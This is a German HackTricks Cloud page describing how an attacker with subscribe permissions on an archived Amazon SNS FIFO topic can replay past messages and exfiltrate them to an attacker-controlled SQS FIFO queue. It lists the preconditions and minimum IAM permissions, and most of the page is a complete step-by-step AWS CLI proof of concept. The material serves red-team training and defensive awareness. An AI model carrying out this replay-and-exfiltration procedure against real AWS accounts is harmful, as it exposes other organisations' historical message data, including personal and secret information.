SNS FIFO Archiv-Wiedergabe-Exfiltration über Attacker SQS FIFO Subscription
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Missbrauch der Amazon SNS FIFO Topic-Nachrichtenarchivierung, um zuvor veröffentlichte Nachrichten wiederzugeben und an eine von Attacker kontrollierte SQS FIFO-Queue zu exfiltrieren, indem die Subscription ReplayPolicy gesetzt wird.
- Dienst: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
- Voraussetzungen: Topic muss
ArchivePolicyaktiviert haben (Nachrichtenarchivierung). Attacker kann sich auf das Topic Subscribe und Attribute auf ihrer Subscription setzen. Attacker kontrolliert eine SQS FIFO-Queue und erlaubt dem Topic, Nachrichten zu senden. - Auswirkung: Historische Nachrichten (vor der Subscription veröffentlichte) können an den Attacker-Endpunkt zugestellt werden. Wiedergegebene Zustellungen werden im SNS-Envelope mit
Replayed=truegekennzeichnet.
Preconditions
- SNS FIFO topic mit aktivierter Archivierung:
ArchivePolicy(z. B.{ "MessageRetentionPeriod": "2" }für 2 Tage). - Attacker hat Berechtigungen für:
sns:Subscribeauf dem Ziel-Topic.sns:SetSubscriptionAttributesauf der erstellten Subscription.- Attacker hat eine SQS FIFO-Queue und kann eine Queue-Policy anhängen, die
sns:SendMessagevom Topic-ARN erlaubt.
Minimum IAM permissions
- Auf dem Topic:
sns:Subscribe. - Auf der Subscription:
sns:SetSubscriptionAttributes. - Auf der Queue:
sqs:SetQueueAttributesfür die Policy, und eine Queue-Policy, diesns:SendMessagevom Topic-ARN erlaubt.
Angriff: Wiedergabe archivierter Nachrichten an Attacker SQS FIFO
Der Attacker subscribed seine SQS FIFO-Queue am Opfer-SNS-FIFO-Topic und setzt dann die ReplayPolicy auf einen Zeitstempel in der Vergangenheit (innerhalb des Archivaufbewahrungsfensters). SNS spielt sofort passende archivierte Nachrichten an die neue Subscription zurück und kennzeichnet sie mit Replayed=true.
Hinweise:
- Der in der
ReplayPolicyverwendete Zeitstempel muss >= demBeginningArchiveTimedes Topics sein. Ist er früher, gibt die APIInvalid StartingPoint valuezurück. - Für SNS FIFO
Publishmuss einMessageGroupIdangegeben werden (und entweder eine Dedup-ID oderContentBasedDeduplicationaktiviert sein).
End-to-end CLI POC (us-east-1)
REGION=us-east-1
# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
TS_START=$(python3 - << 'PY'
from datetime import datetime, timezone, timedelta
print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
PY
)
# 1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
--query TopicArn --output text)
echo "Topic: $TOPIC_ARN"
# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
--message-group-id g1 >/dev/null
done
# 3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
--attribute-names QueueArn --query Attributes.QueueArn --output text)
cat > /tmp/ht-replay-sqs-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
JSON
# Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
import json, os
print(json.dumps({
'QueueUrl': os.environ['Q_URL'],
'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
}))
PY
)"
# 4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
echo "Subscription: $SUB_ARN"
# 5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
START=${TS_START}
if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
--attribute-name ReplayPolicy \
--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
--max-number-of-messages 10 --wait-time-seconds 10 \
--message-attribute-names All --attribute-names All
Auswirkungen
Potentielle Auswirkungen: Ein Angreifer, der sich bei einem SNS FIFO topic mit aktivierter Archivierung abonnieren kann und ReplayPolicy auf seiner Subscription setzt, kann sofort historische Nachrichten, die an dieses Topic veröffentlicht wurden, replayen und exfiltrieren, nicht nur Nachrichten, die nach Erstellung der Subscription gesendet wurden. Gelieferte Nachrichten enthalten ein Replayed=true Flag im SNS envelope.
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud